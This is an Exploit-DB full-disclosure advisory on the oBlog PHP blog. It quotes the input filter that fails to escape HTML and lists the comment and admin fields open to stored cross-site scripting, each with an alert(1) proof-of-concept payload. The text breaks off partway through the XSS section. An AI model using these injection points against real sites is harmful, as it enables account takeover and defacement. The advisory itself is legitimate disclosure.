Exploit-DB #10379
Description: oBlog - Persistent Cross-Site Scripting / Cross-Site Request Forgery / Admin Brute Force
Type: webapps
Platform: php
Date: 2009-12-11
Author: Milos Zivanovic

Exploit:
[-------------------------------------------------------------------------------------------------]
[   Application: oBlog                                                                            ]
[   Version: the only one there is :)                                                             ]
[   Download: http://www.dootzky.com/images/projects/oBlog.zip                                    ]
[   Author of this full disclosure: Milos Zivanovic                                               ]
[   Vulnerabilities: Persistant XSS, CSRF, Admin Bruteforce...                                    ]
[-------------------------------------------------------------------------------------------------]

Author of the application is contacted and author of this paper is not responsible for anything
you do after reading this text.

[#] Content:
 |--Persistant XSS
 |  |
 |  |--Vulnerable function
 |  |--XSS in article comments
 |  |--XSS in add new article / Edit article, Naslov field (admin only)
 |  |--XSS in add new group (category) / Edit group, Naslov field (admin only)
 |  |--XSS in add link (blogroll) / Edit link, Ime prijatelja, Link fields (admin only)
 |  |--XSS in settings (admin only)
 |  |--NOTE!
 |
 |--Cross Site Request Forgery
 |  |
 |  |--Enable/Disable post
 |  |--Enable/Disable category
 |  |--Remove link
 |  |--Logout admin
 |  |--Change admin password
 |  |--Change admin settings (name, lastname, PASSWORD, blog title, blog slogan, text about author)
 |     |--Exploit
 |
 |--Admin Bruteforce
 |
 |--Blog Spaming with empty/junk comments
 |
 |--Conclusion


[#] Full Disclosure:

-[================================================================================================]
-[+]Persistant XSS:
-[================================================================================================]

Function used in this application for filtering input against different types of attacks is not
written good and does not escape html characters.

Vulnerable code:

/oBlog/php/functions.php line 66-94 (function protectInput)
[code---------------------------------------------------------------------------------------------]
// protect invalind input 
function protectInput($data, $type) 
{ 
    if ($type == 'int') {
        if ((!is_numeric($data)) || ($data < 0)) $data = -1;
    }
    elseif ($type == 'double') {
        if ((!is_numeric($data)) || ($data < 0)) $data = -1;
    }
    elseif ($type == 'doubleLOOSE') {
        if (!is_numeric($data)) $data = -1; // jer cu nekada hteti da dozvolim i negativni broj, npr: ODBICI = -50 eura
    }
    elseif ($type == 'str') {
        // minimum length
        if (strlen($data) == 0) $data = '--';
        // add slashes if needed
        $data = (!get_magic_quotes_gpc()) ? addslashes ($data) : $data;
    }
    elseif ($type == 'date') {
        // otpakuj datum, i pripremi ga za ubacivanje u bazu (YYYY-MM-DD)
        $tmp = explode('.', $data);
        $data = $tmp[2] .'-'. $tmp[1] .'-'. $tmp[0];
    }
    else {
        die('wrong data type?! functions.php -> protectInput();');
    }
    

    return $data;
}
[code---------------------------------------------------------------------------------------------]

As we can see there's no function that deals with escaping html characters thus enableing us to
insert malicious javascript code.

[-]XSS in article comments:

http://localhost/oBlog/article.php?aid=[ARTICLE ID]
When adding comment to blog post, we can insert javascript code into certain fields and it will not
be filtered, and pure javascript code will show one the page. Vulnerable fields: Ime, Komentar

/oBlog/article.php line 44-49 (function saveNewComment)
[code---------------------------------------------------------------------------------------------]
// get data
    $commentName    = protectInput($_POST['commentName'], 'str');
    $commentEmail   = protectInput($_POST['commentEmail'], 'str');
    $commentWeb     = protectInput($_POST['commentWeb'], 'str');
    $commentText    = protectInput($_POST['commentText'], 'str');
[code---------------------------------------------------------------------------------------------]

I've used this javascript just to test vulnerability:

[POC----------------------------------------------------------------------------------------------]
<script>alert(1)</script>
[POC----------------------------------------------------------------------------------------------]

[-]XSS in add new article / Edit article, Naslov field (admin only):

Add: http://localhost/oBlog/admin/write.php?new=entry
Edit: http://localhost/oBlog/admin/write.php?edit=[ARTICLE ID]
When creating new post (or edit) in admin panel, person can inject malicious javascript code into
field: Naslov and it will not be filtered, as it is using same protectInput function.

/oBlog/admin/write.php line 136-138 (function saveChanges)
[code---------------------------------------------------------------------------------------------]
// get data
    $article_id     = protectInput($_POST['article_id'], 'int');
    $title          = protectInput($_POST['title'], 'str');
[code---------------------------------------------------------------------------------------------]

The title of the post is showed in main page of the blog, as in the main page of the admin panel
so this could be used for hidden and more important dangerous permanent javascript.I've used this
javascript just to test vulnerability:

[POC----------------------------------------------------------------------------------------------]
<script>alert(1)</script>
[POC----------------------------------------------------------------------------------------------]

[-]XSS in add new group (category) / Edit group, Naslov field (admin only):

Add: http://localhost/oBlog/admin/groups.php?new=entry
Edit: http://localhost/oBlog/admin/groups.php?edit=[ARTICLE ID]
When creating